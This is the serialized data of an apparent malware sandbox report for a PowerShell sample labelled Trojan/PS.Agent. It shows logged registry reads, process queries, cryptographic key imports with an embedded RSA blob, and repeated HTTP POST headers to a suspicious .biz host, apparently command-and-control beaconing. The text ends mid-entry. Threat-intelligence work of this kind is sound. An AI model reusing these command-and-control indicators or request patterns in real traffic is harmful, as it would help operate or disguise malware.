26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 52:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4ba,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan/PS.Agent Sample 3178411da380… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3178411da380…. Malware family: Trojan/PS.Agent. Threat score 100/100. 9/27 AV engines flagged this file. 6 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","keywords":["Malicious","Trojan/PS.Agent","malware analysis","sandbox report","threat intelligence","3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7"],"about":{"@type":"SoftwareApplication","name":"3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","applicationCategory":["powershell","ps"],"identifier":"3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan/PS.Agent","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T74d,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\POWERSHELL.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\DISPLAY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING")28:T66e,"powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-547845704 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-547854083 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-548207309 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-563495268 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-564273291 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-564282799 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-570358435 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-576242082 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-576252602 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-581265842 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-581279804 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-586303749 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-591336258 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-596359112 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-601369152 [PID: 7328] "powershell.exe" queried SystemProcessInformation at 00000000-00007328-00000C15-606386976 [PID: 7328]29:Tb22,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "a072c3de48010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "a05bc3de48010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "a059c3de48010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "700288f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70ea87f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70f187f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70e587f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "700688f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70f787f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70e787f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70e987f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70f887f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70e687f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70dc87f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70cd87f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70dd87f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70e287f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "70d387f948010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "70e887f948010000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "70da87f948010000" "dwProvType": "1" "dwFlags": "4026531840"}2a:T11c8,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00f5c3de48010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10f7c3de48010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "40f1c3de48010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0d713f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "50d113f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0d013f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f0d313f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0dd13f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "90dc13f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f0fec3de48010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "309818f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "909818f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d09418f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "809918f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c09b18f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "709a18f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d09d18f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148debce190" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d0a018f948010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148f9140020" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a0a018f948010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148f9141060" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0a518f948010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148f9141060" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f09d1df948010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "148f9140020" "pszBlobType": "RSAPUBLICBLOB" "phKey": "409c1df948010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"}2b:T274b,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "000fc3de48010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a018c3de48010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d00cc3de48010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "@"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "8019c3de48010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "4014c3de48010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec35ba0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "8019c3de48010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "507b15f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "807615f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "106f15f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec35ba0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a07515f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "607015f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e07a15f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f06f15f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b07815f948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0891af948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70931af948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a0951af948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "508d1af948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "90921af948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec372a0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0941af948010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "148dec35ba0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "408a1af948010000"}2c:T14248,Contains base64 string in header "POST" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /vvrxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header 